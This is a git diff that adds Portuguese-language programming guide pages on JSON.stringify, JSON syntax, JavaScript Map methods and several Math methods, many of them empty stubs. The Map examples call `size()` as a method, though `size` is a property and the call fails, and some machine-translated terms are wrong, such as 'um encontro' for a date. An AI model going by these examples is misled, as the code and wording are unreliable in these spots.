+  } 
+ 
+  var foo = {foundation: 'Mozilla', model: 'box', week: 45, transport: 'car', month: 7}; 
+  JSON.stringify(foo, replacer);  // '{"week":45,"month":7}' 
+```
+
+Se uma matriz for passada para `JSON.stringify()` e o `replacer` retornar `undefined` para qualquer um dos seus elementos, o valor do elemento será substituído por `null` . funções de `replacer` não podem remover valores de uma matriz.
+
+```javascript
+  function replacer(key, value) { 
+    // Filtering out properties 
+    if (typeof value === 'string') { 
+      return undefined; 
+    } 
+    return value; 
+  } 
+ 
+  var foo = ['Mozilla', 'box', 45, 'car', 7]; 
+  JSON.stringify(foo, replacer);  // "[null,null,45,null,7]" 
+```
+
+#### O `space`
+
+O parâmetro de `space` usado para recuo torna o resultado de `JSON.stringify()` mais bonito.
+
+```javascript
+  var a = { 
+    b: 42, 
+    c: "42", 
+    d: [1,2,3] 
+  }; 
+ 
+  JSON.stringify( a, null, 3 ); 
+  // "{ 
+  //    "b": 42, 
+  //    "c": "42", 
+  //    "d": [ 
+  //       1, 
+  //       2, 
+  //       3 
+  //    ] 
+  // }" 
+ 
+  JSON.stringify( a, null, "-----" ); 
+  // "{ 
+  // -----"b": 42, 
+  // -----"c": "42", 
+  // -----"d": [ 
+  // ----------1, 
+  // ----------2, 
+  // ----------3 
+  // -----] 
+  // }" 
+```
+
+#### Mais Informações:
+
+Consulte os [documentos do MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/stringify) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/json/json-syntax/index.md b/client/src/guide/portuguese/javascript/standard-objects/json/json-syntax/index.md
new file mode 100644
index 0000000000..36ab94cd81
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/json/json-syntax/index.md
@@ -0,0 +1,112 @@
+---
+title: JSON Syntax
+localeTitle: Sintaxe JSON
+---
+## Sintaxe JSON
+
+A sintaxe JSON é um subconjunto da sintaxe JavaScript.
+
+### Regras de sintaxe JSON
+
+*   Objeto JSON é um conjunto não ordenado de pares nome / valor.
+*   Os nomes dos objetos são seguidos por dois pontos (:).
+*   Chaves {} são usadas para guardar objetos. O objeto começa com {(chaveta esquerda) e termina com} (chaveta direita).
+*   Os dados do objeto JSON são representados como uma coleção de pares nome / valor.
+*   Cada nome / valor pares são separados por vírgula (,)
+*   Chaves quadradas \[\] são usadas para armazenar matrizes.
+
+### Dados JSON - Um nome e um valor
+
+Dados JSON são gravados como pares nome / valor.
+
+Um par de nome / valor consiste em um nome de campo (entre aspas duplas), seguido por dois-pontos, seguido por um valor:
+```
+"handle":"moghya" 
+```
+
+*   Nomes JSON exigem aspas duplas.
+
+### JSON - avalia objetos JavaScript
+
+O formato JSON é quase idêntico aos objetos JavaScript.
+
+Em JSON, as chaves devem ser cadeias de caracteres, escritas com aspas duplas:
+
+*   JSON
+```
+"handle":"moghya" 
+```
+
+*   JavaScript
+```
+handle:"moghya" 
+```
+
+### Valores JSON
+
+Em JSON, os valores devem ser um dos seguintes tipos de dados:
+
+*   uma linha
+*   um número
+*   um objeto (objeto JSON)
+*   uma matriz
+*   um booleano
+*   nulo
+
+Em valores JavaScript, pode haver todos os itens acima, além de qualquer outra expressão JavaScript válida, incluindo:
+
+*   uma função
+*   um encontro
+*   Indefinido
+
+### JSON usa sintaxe JavaScript
+
+Como a sintaxe JSON é derivada da notação de objeto JavaScript, é necessário muito pouco software extra para trabalhar com JSON dentro do JavaScript.
+
+Com JavaScript você pode criar um objeto e atribuir dados a ele, assim:
+```
+var person = { 
+  "name":"Shubham", 
+  "age":21, 
+  "handle":"moghya", 
+  "website":"http://moghya.me/" 
+  }; 
+```
+
+Você pode acessar um objeto JavaScript como este:
+```
+//returns moghya 
+ person.handle; 
+```
+
+Também pode ser acessado assim:
+```
+//returns http://moghya.me/ 
+ person["website"]; 
+```
+
+### Matrizes em JSON
+```
+var team = { 
+  "name":"novatoscript", 
+  "members" : 
+  [ 
+    { 
+      "name":"Shubham Sawant", 
+      "age":21, 
+      "handle":"moghya", 
+      "website":"http://moghya.me", 
+    }, 
+    { 
+      "name":"Saurabh Banore", 
+      "age":21, 
+      "handle":"banoresaurabh", 
+      "website":"http://banoresaurabh.me/", 
+    } 
+  ] 
+ } 
+```
+
+### Exemplo
+
+Um exemplo muito grande de JSON está [aqui!](http://moghya.me/js/profile.json) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/map/index.md b/client/src/guide/portuguese/javascript/standard-objects/map/index.md
new file mode 100644
index 0000000000..bc4ac5fc3e
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/map/index.md
@@ -0,0 +1,34 @@
+---
+title: Map
+localeTitle: Mapa
+---
+## Mapa
+
+Um mapa de entradas `[key, value]` , em que chaves e valores podem ser qualquer valor (objetos e valores primitivos).
+
+## Sintaxe
+
+```javascript
+new Map([iterable]) 
+```
+
+## Parâmetros
+
+**iterable** Um Array ou outro objeto iterável cujos elementos são pares de valor-chave.
+
+## Exemplo
+
+```javascript
+// basic usage 
+ const myMap = new Map(); 
+ myMap.set('foo',1); 
+ myMap.set('bar',2); 
+ myMap.set('baz',3); 
+ 
+ myMap.get('foo');   // returns 1 
+ myMap.get('baz');   // returns 3 
+ myMap.get('hihi');  // return undefined 
+ 
+ myMap.size();   // 3 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/map/map-prototype-clear/index.md b/client/src/guide/portuguese/javascript/standard-objects/map/map-prototype-clear/index.md
new file mode 100644
index 0000000000..7819ca19cb
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/map/map-prototype-clear/index.md
@@ -0,0 +1,32 @@
+---
+title: Map.prototype.clear
+localeTitle: Map.prototype.clear
+---
+## Map.prototype.clear
+
+Remove todos os elementos de um objeto `Map` . Retorna `undefined` .
+
+## Sintaxe
+
+```javascript
+myMap.clear(); 
+```
+
+## Exemplo
+
+```javascript
+const myMap = new Map(); 
+ myMap.set('foo',1); 
+ myMap.set('bar',2); 
+ myMap.set('baz',3); 
+ 
+ 
+ myMap.size(); // 3 
+ myMap.has('foo'); // true; 
+ 
+ myMap.clear(); 
+ 
+ myMap.size(); // 0 
+ myMap.has('foo'); // false 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/map/map-prototype-delete/index.md b/client/src/guide/portuguese/javascript/standard-objects/map/map-prototype-delete/index.md
new file mode 100644
index 0000000000..b74d8f7513
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/map/map-prototype-delete/index.md
@@ -0,0 +1,36 @@
+---
+title: Map.prototype.delete
+localeTitle: Map.prototype.delete
+---
+## Map.prototype.delete
+
+Remove o elemento especificado de um objeto `Map` . Retorna se a chave foi encontrada e excluída com sucesso.
+
+## Sintaxe
+
+```javascript
+myMap.delete(key); 
+```
+
+## Parâmetros
+
+**chave** necessária.
+
+## Exemplo
+
+```javascript
+const myMap = new Map(); 
+ myMap.set('foo',1); 
+ myMap.set('bar',2); 
+ myMap.set('baz',3); 
+ 
+ 
+ myMap.size(); // 3 
+ myMap.has('foo'); // true; 
+ 
+ myMap.delete('foo');  // Returns true. Successfully removed. 
+ 
+ myMap.size(); // 2 
+ myMap.has('foo');    // Returns false. The "foo" element is no longer present. 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/map/map-prototype-entries/index.md b/client/src/guide/portuguese/javascript/standard-objects/map/map-prototype-entries/index.md
new file mode 100644
index 0000000000..c58e7ccf55
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/map/map-prototype-entries/index.md
@@ -0,0 +1,30 @@
+---
+title: Map.prototype.entries
+localeTitle: Map.prototype.entries
+---
+## Map.prototype.entries
+
+Retorna um novo objeto `Iterator` que contém os pares `[key, value]` para cada elemento no objeto `Map` em ordem de inserção.
+
+## Sintaxe
+
+```javascript
+myMap.entries() 
+```
+
+## Exemplo
+
+```javascript
+const myMap = new Map(); 
+ myMap.set('foo',1); 
+ myMap.set('bar',2); 
+ myMap.set('baz',3); 
+ 
+ 
+ var iterator = myMap.entries(); 
+ 
+ console.log(iterator.next().value); // ['foo', 1] 
+ console.log(iterator.next().value); // ['bar', 2] 
+ console.log(iterator.next().value); // ['baz', 3] 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/map/map-prototype-foreach/index.md b/client/src/guide/portuguese/javascript/standard-objects/map/map-prototype-foreach/index.md
new file mode 100644
index 0000000000..aebe06c65f
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/map/map-prototype-foreach/index.md
@@ -0,0 +1,36 @@
+---
+title: Map.prototype.forEach
+localeTitle: Map.prototype.forEach
+---
+## Map.prototype.forEach
+
+Executa a função fornecida uma vez por cada par de chave / valor no objeto `Map` , em ordem de inserção. Retorna `undefined` .
+
+## Sintaxe
+
+```javascript
+myMap.forEach(callback, thisArg) 
+```
+
+## Parâmetros
+
+**callback** Função para executar para cada elemento. **thisArg** Valor para usar como este ao executar o retorno de chamada.
+
+## Exemplo
+
+```javascript
+const myMap = new Map(); 
+ myMap.set('foo',1); 
+ myMap.set('bar',2); 
+ myMap.set('baz',3); 
+ 
+ function valueLogger(value, key, map){ 
+    console.log(`${value}`); 
+ } 
+ 
+ myMap.forEach(valueLogger); 
+ // 1 
+ // 2 
+ // 3 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/map/map-prototype-get/index.md b/client/src/guide/portuguese/javascript/standard-objects/map/map-prototype-get/index.md
new file mode 100644
index 0000000000..fb9a983ce5
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/map/map-prototype-get/index.md
@@ -0,0 +1,31 @@
+---
+title: Map.prototype.get
+localeTitle: Map.prototype.get
+---
+## Map.prototype.get
+
+Retorna um valor da chave especificada de um objeto `Map` .
+
+## Sintaxe
+
+```javascript
+myMap.get(key); 
+```
+
+## Parâmetros
+
+**chave** necessária.
+
+## Exemplo
+
+```javascript
+const myMap = new Map(); 
+ myMap.set('foo',1); 
+ myMap.set('bar',2); 
+ myMap.set('baz',3); 
+ 
+ myMap.get('foo');   // returns 1 
+ myMap.get('baz');   // returns 3 
+ myMap.get('hihi');  // return undefined 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/map/map-prototype-has/index.md b/client/src/guide/portuguese/javascript/standard-objects/map/map-prototype-has/index.md
new file mode 100644
index 0000000000..84e90bb52f
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/map/map-prototype-has/index.md
@@ -0,0 +1,48 @@
+---
+title: Map.prototype.has
+localeTitle: Map.prototype.has
+---
+## Map.prototype.has
+
+Dado um `Map` com elementos dentro, a função `has()` permite determinar se existe ou não um elemento dentro do Mapa, baseado em uma chave que você passa.
+
+A função `has()` retorna uma _primitiva `Boolean`_ ( `true` ou `false` ), que indica que o Map contém o elemento ou não.
+
+Você passa um parâmetro- `key` para a função `has()` , que será usada para procurar um elemento com essa chave dentro do mapa.
+
+Exemplo:
+
+```js
+// A simple Map 
+ const campers = new Map(); 
+ 
+ // add some elements to the map 
+ // each element's key is 'camp' and a number 
+ campers.set('camp1', 'Bernardo'); 
+ campers.set('camp2', 'Andrea'); 
+ campers.set('camp3', 'Miguel'); 
+ 
+ // Now I want to know if there's an element 
+ // with 'camp4' key: 
+ campers.has('camp4'); 
+ // output is `false` 
+```
+
+O mapa dos `campers` não possui atualmente um elemento com uma chave `'camp4'` . Portanto, a chamada de função `has('camp4')` retornará `false` .
+
+```js
+// If we add an element with the 'camp4' key to the map 
+ campers.set('camp4', 'Ana'); 
+ 
+ // and try looking for that key again 
+ campers.has('camp4'); 
+ // output is `true` 
+```
+
+Como o mapa agora tem um elemento com uma chave `'camp4'` , a chamada de função `has('camp4')` retornará `true` desta vez!
+
+Em um cenário mais real, você pode não adicionar manualmente os elementos ao Mapa, assim a função `has()` se tornaria realmente útil nesses casos.
+
+#### Mais Informações:
+
+*   [Map.prototype.has () no MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map/has)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/map/map-prototype-keys/index.md b/client/src/guide/portuguese/javascript/standard-objects/map/map-prototype-keys/index.md
new file mode 100644
index 0000000000..38578a8470
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/map/map-prototype-keys/index.md
@@ -0,0 +1,30 @@
+---
+title: Map.prototype.keys
+localeTitle: Map.prototype.keys
+---
+## Map.prototype.keys
+
+Retorna um novo objeto `Iterator` que contém as chaves para cada elemento no objeto `Map` na ordem de inserção.
+
+## Sintaxe
+
+```javascript
+myMap.keys() 
+```
+
+## Exemplo
+
+```javascript
+const myMap = new Map(); 
+ myMap.set('foo',1); 
+ myMap.set('bar',2); 
+ myMap.set('baz',3); 
+ 
+ 
+ const iterator = myMap.keys(); 
+ 
+ console.log(iterator.next().value); // 'foo' 
+ console.log(iterator.next().value); // 'bar' 
+ console.log(iterator.next().value); // 'baz' 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/map/map-prototype-set/index.md b/client/src/guide/portuguese/javascript/standard-objects/map/map-prototype-set/index.md
new file mode 100644
index 0000000000..9413ae81a9
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/map/map-prototype-set/index.md
@@ -0,0 +1,34 @@
+---
+title: Map.prototype.set
+localeTitle: Map.prototype.set
+---
+## Map.prototype.set
+
+Define ou atualiza um elemento com chave e valor especificados para um objeto `Map` . Retorna o objeto do `map` .
+
+## Sintaxe
+
+```javascript
+myMap.set(key, value); 
+```
+
+## Parâmetros
+
+**chave** necessária. **valor** Requerido.
+
+## Exemplo
+
+```javascript
+const myMap = new Map(); 
+ 
+ // sets new elements 
+ myMap.set('foo',1); 
+ myMap.set('bar',2); 
+ myMap.set('baz',3); 
+ 
+ // Updates an element 
+ myMap.set('foo', 100); 
+ 
+ myMap.get('foo');   // returns 100 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/map/map-prototype-size/index.md b/client/src/guide/portuguese/javascript/standard-objects/map/map-prototype-size/index.md
new file mode 100644
index 0000000000..7b44d35be9
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/map/map-prototype-size/index.md
@@ -0,0 +1,26 @@
+---
+title: Map.prototype.size
+localeTitle: Map.prototype.size
+---
+## Map.prototype.size
+
+Retorna o número de elementos em um objeto `Map` .
+
+## Sintaxe
+
+```javascript
+myMap.size(); 
+```
+
+## Exemplo
+
+```javascript
+const myMap = new Map(); 
+ myMap.set('foo',1); 
+ myMap.set('bar',2); 
+ myMap.set('baz',3); 
+ 
+ 
+ myMap.size(); // 3 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/map/map-prototype-values/index.md b/client/src/guide/portuguese/javascript/standard-objects/map/map-prototype-values/index.md
new file mode 100644
index 0000000000..a7c6fab844
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/map/map-prototype-values/index.md
@@ -0,0 +1,29 @@
+---
+title: Map.prototype.values
+localeTitle: Map.prototype.values
+---
+## Map.prototype.values
+
+Retorna um objeto iterador que contém os valores para cada elemento no objeto `Map` na ordem de inserção.
+
+## Sintaxe
+
+```javascript
+myMap.values() 
+```
+
+## Exemplo
+
+```javascript
+const myMap = new Map(); 
+ myMap.set('foo',1); 
+ myMap.set('bar',2); 
+ myMap.set('baz',3); 
+ 
+ 
+ const iterator = myMap.values(); 
+ console.log(iterator.next().value); // 1 
+ console.log(iterator.next().value); // 2 
+ console.log(iterator.next().value); // 3 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/math/index.md b/client/src/guide/portuguese/javascript/standard-objects/math/index.md
new file mode 100644
index 0000000000..453c36f4b5
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/math/index.md
@@ -0,0 +1,23 @@
+---
+title: Math
+localeTitle: Matemática
+---
+## Matemática
+
+`Math` é um objeto `Math` padrão para JavaScript que contém constantes matemáticas e funções como propriedades e métodos. Mais notavelmente, ele contém as constantes π e a constante de Euler e funções como `floor()` , `round()` , `ceil()` e muito mais.
+
+### Exemplo
+
+O exemplo a seguir mostra como usar o objeto `Math` para escrever uma função que calcula a área de um círculo:
+
+```javascript
+function calculateCircleArea(radius) { 
+  return Math.PI * Math.pow(radius, 2); 
+ } 
+ calculateCircleArea(1); // 3.141592653589793 
+```
+
+### Outros recursos
+
+*   [MDN web docs](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math)
+*   [W3schools](https://www.w3schools.com/js/js_math.asp)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/math/math-abs/index.md b/client/src/guide/portuguese/javascript/standard-objects/math/math-abs/index.md
new file mode 100644
index 0000000000..c6867e7193
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/math/math-abs/index.md
@@ -0,0 +1,11 @@
+---
+title: Math Abs
+localeTitle: Matemática Abs
+---
+## Matemática Abs
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-abs/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/math/math-acos/index.md b/client/src/guide/portuguese/javascript/standard-objects/math/math-acos/index.md
new file mode 100644
index 0000000000..8d24b501f9
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/math/math-acos/index.md
@@ -0,0 +1,11 @@
+---
+title: Math Acos
+localeTitle: Math Acos
+---
+## Math Acos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-acos/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/math/math-acosh/index.md b/client/src/guide/portuguese/javascript/standard-objects/math/math-acosh/index.md
new file mode 100644
index 0000000000..e1e56b6a5a
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/math/math-acosh/index.md
@@ -0,0 +1,11 @@
+---
+title: Math Acosh
+localeTitle: Math Acosh
+---
+## Math Acosh
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-acosh/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/math/math-asin/index.md b/client/src/guide/portuguese/javascript/standard-objects/math/math-asin/index.md
new file mode 100644
index 0000000000..0db4e840f6
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/math/math-asin/index.md
@@ -0,0 +1,11 @@
+---
+title: Math Asin
+localeTitle: Matemática asin
+---
+## Matemática asin
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-asin/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/math/math-asinh/index.md b/client/src/guide/portuguese/javascript/standard-objects/math/math-asinh/index.md
new file mode 100644
index 0000000000..46aa605561
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/math/math-asinh/index.md
@@ -0,0 +1,11 @@
+---
+title: Math Asinh
+localeTitle: Math Asinh
+---
+## Math Asinh
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-asinh/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/math/math-atan/index.md b/client/src/guide/portuguese/javascript/standard-objects/math/math-atan/index.md
new file mode 100644
index 0000000000..874146d3ff
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/math/math-atan/index.md
@@ -0,0 +1,11 @@
+---
+title: Math Atan
+localeTitle: Math Atan
+---
+## Math Atan
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-atan/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/math/math-atan2/index.md b/client/src/guide/portuguese/javascript/standard-objects/math/math-atan2/index.md
new file mode 100644
index 0000000000..a480919b32
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/math/math-atan2/index.md
@@ -0,0 +1,11 @@
+---
+title: Math Atan2
+localeTitle: Math Atan2
+---
+## Math Atan2
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-atan2/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/math/math-atanh/index.md b/client/src/guide/portuguese/javascript/standard-objects/math/math-atanh/index.md
new file mode 100644
index 0000000000..b68337062c
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/math/math-atanh/index.md
@@ -0,0 +1,11 @@
+---
+title: Math Atanh
+localeTitle: Math Atanh
+---
+## Math Atanh
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-atanh/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/math/math-cbrt/index.md b/client/src/guide/portuguese/javascript/standard-objects/math/math-cbrt/index.md
new file mode 100644
index 0000000000..f2d4aabdf0
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/math/math-cbrt/index.md
@@ -0,0 +1,11 @@
+---
+title: Math Cbrt
+localeTitle: Cbrt Matemático
+---
+## Cbrt Matemático
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-cbrt/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/math/math-ceil/index.md b/client/src/guide/portuguese/javascript/standard-objects/math/math-ceil/index.md
new file mode 100644
index 0000000000..8427cf79c9
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/math/math-ceil/index.md
@@ -0,0 +1,22 @@
+---
+title: Math Ceil
+localeTitle: Teto Matemático
+---
+## Teto Matemático
+
+O `Math.ceil()` é um método do objeto padrão Math que arredonda um determinado número para cima, para o próximo inteiro. Tome nota que para números negativos isto significa que o número será arredondado "para 0" em vez do número de maior valor absoluto (ver exemplos).
+
+### Exemplos
+
+```javascript
+Math.ceil(0.1)  //  1 
+ Math.ceil(1.3)  //  2 
+ Math.ceil(-0.9) // -0 
+ Math.ceil(-1.5) // -1 
+```
+
+### Mais Informações:
+
+*   [MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/ceil)
+*   [w3schools](https://www.w3schools.com/jsref/jsref_ceil.asp)
+*   [Wikipedia](https://en.wikipedia.org/wiki/Floor_and_ceiling_functions)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/math/math-clz32/index.md b/client/src/guide/portuguese/javascript/standard-objects/math/math-clz32/index.md
new file mode 100644
index 0000000000..7aab6fe225
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/math/math-clz32/index.md
@@ -0,0 +1,11 @@
+---
+title: Math Clz32
+localeTitle: Matemática Clz32
+---
+## Matemática Clz32
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-clz32/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/math/math-cos/index.md b/client/src/guide/portuguese/javascript/standard-objects/math/math-cos/index.md
new file mode 100644
index 0000000000..e5984c735b
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/math/math-cos/index.md
@@ -0,0 +1,11 @@
+---
+title: Math Cos
+localeTitle: Matemática cos
+---
+## Matemática cos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-cos/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/math/math-cosh/index.md b/client/src/guide/portuguese/javascript/standard-objects/math/math-cosh/index.md
new file mode 100644
index 0000000000..9b90ac0de1
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/math/math-cosh/index.md
@@ -0,0 +1,11 @@
+---
+title: Math Cosh
+localeTitle: Math Cosh
+---
+## Math Cosh
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-cosh/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/math/math-e/index.md b/client/src/guide/portuguese/javascript/standard-objects/math/math-e/index.md
new file mode 100644
index 0000000000..b7ed230f36
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/math/math-e/index.md
@@ -0,0 +1,11 @@
+---
+title: Math E
+localeTitle: Matemática E
+---
+## Matemática E
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-e/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/math/math-exp/index.md b/client/src/guide/portuguese/javascript/standard-objects/math/math-exp/index.md
new file mode 100644
index 0000000000..853cbf521d
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/math/math-exp/index.md
@@ -0,0 +1,11 @@
+---
+title: Math Exp
+localeTitle: Math Exp
+---
+## Math Exp
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-exp/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/math/math-expm1/index.md b/client/src/guide/portuguese/javascript/standard-objects/math/math-expm1/index.md
new file mode 100644
index 0000000000..21604d70c4
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/math/math-expm1/index.md
@@ -0,0 +1,11 @@
+---
+title: Math Expm1
+localeTitle: Math Expm1
+---
+## Math Expm1
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-expm1/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/math/math-floor/index.md b/client/src/guide/portuguese/javascript/standard-objects/math/math-floor/index.md
new file mode 100644
index 0000000000..801b36daa2
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/math/math-floor/index.md
@@ -0,0 +1,23 @@
+---
+title: Math Floor
+localeTitle: Chão de matemática
+---
+## Chão de matemática
+
+`Math.floor()` é um método do objeto padrão Math que arredonda um determinado número para baixo, para o próximo inteiro. Observe que, para números negativos, isso significa que o número será arredondado para "longe de 0", em vez de para o número de menor valor absoluto, pois `Math.floor()` retorna o maior número inteiro menor ou igual ao número fornecido.
+
+### Exemplos
+
+```javascript
+Math.floor(0.9)  //  0 
+ Math.floor(1.3)  //  1 
+ Math.floor(0.5)  //  0 
+ Math.floor(-0.9) // -1 
